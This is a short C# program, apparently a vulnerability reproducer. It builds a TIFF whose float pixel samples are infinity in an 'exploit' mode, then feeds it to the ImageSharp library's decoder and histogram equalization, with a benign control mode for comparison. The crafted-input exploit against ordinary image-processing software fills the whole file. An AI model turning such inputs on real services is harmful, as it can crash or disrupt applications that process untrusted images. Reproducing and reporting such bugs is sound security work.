using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;

static class Program
{
    private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)
    {
        ifd.AddRange(BitConverter.GetBytes(tag));
        ifd.AddRange(BitConverter.GetBytes(type));
        ifd.AddRange(BitConverter.GetBytes(count));
        ifd.AddRange(BitConverter.GetBytes(value));
    }

    // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
    private static byte[] BuildTiff(float sample)
    {
        const int width = 8;
        const int entries = 10;
        const int ifdOffset = 8;
        const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
        List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00];
        List<byte> ifd = [];
        ifd.AddRange(BitConverter.GetBytes((ushort)entries));
        const ushort Short = 3, Long = 4;
        AddEntry(ifd, 256, Long, 1, width);             // ImageWidth
        AddEntry(ifd, 257, Long, 1, 1);                 // ImageLength
        AddEntry(ifd, 258, Short, 1, 32);               // BitsPerSample
        AddEntry(ifd, 259, Short, 1, 1);                // Compression = none
        AddEntry(ifd, 262, Short, 1, 1);                // Photometric = BlackIsZero
        AddEntry(ifd, 273, Long, 1, pixelOffset);       // StripOffsets
        AddEntry(ifd, 277, Short, 1, 1);                // SamplesPerPixel
        AddEntry(ifd, 278, Long, 1, 1);                 // RowsPerStrip
        AddEntry(ifd, 279, Long, 1, width * 4);         // StripByteCounts
        AddEntry(ifd, 339, Short, 1, 3);                // SampleFormat = IEEE float
        ifd.AddRange([0, 0, 0, 0]);
        file.AddRange(ifd);
        for (int i = 0; i < width; i++)
        {
            file.AddRange(BitConverter.GetBytes(sample));
        }

        return file.ToArray();
    }

    private static void Main(string[] args)
    {
        string mode = args.FirstOrDefault() ?? "exploit";
        float sample = mode == "control" ? 0.5F : float.PositiveInfinity;
        byte[] tiff = BuildTiff(sample);
        Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}");

        using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);
        Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}");
        image.Mutate(x => x.HistogramEqualization());
        Console.Error.WriteLine("completed");
    }
}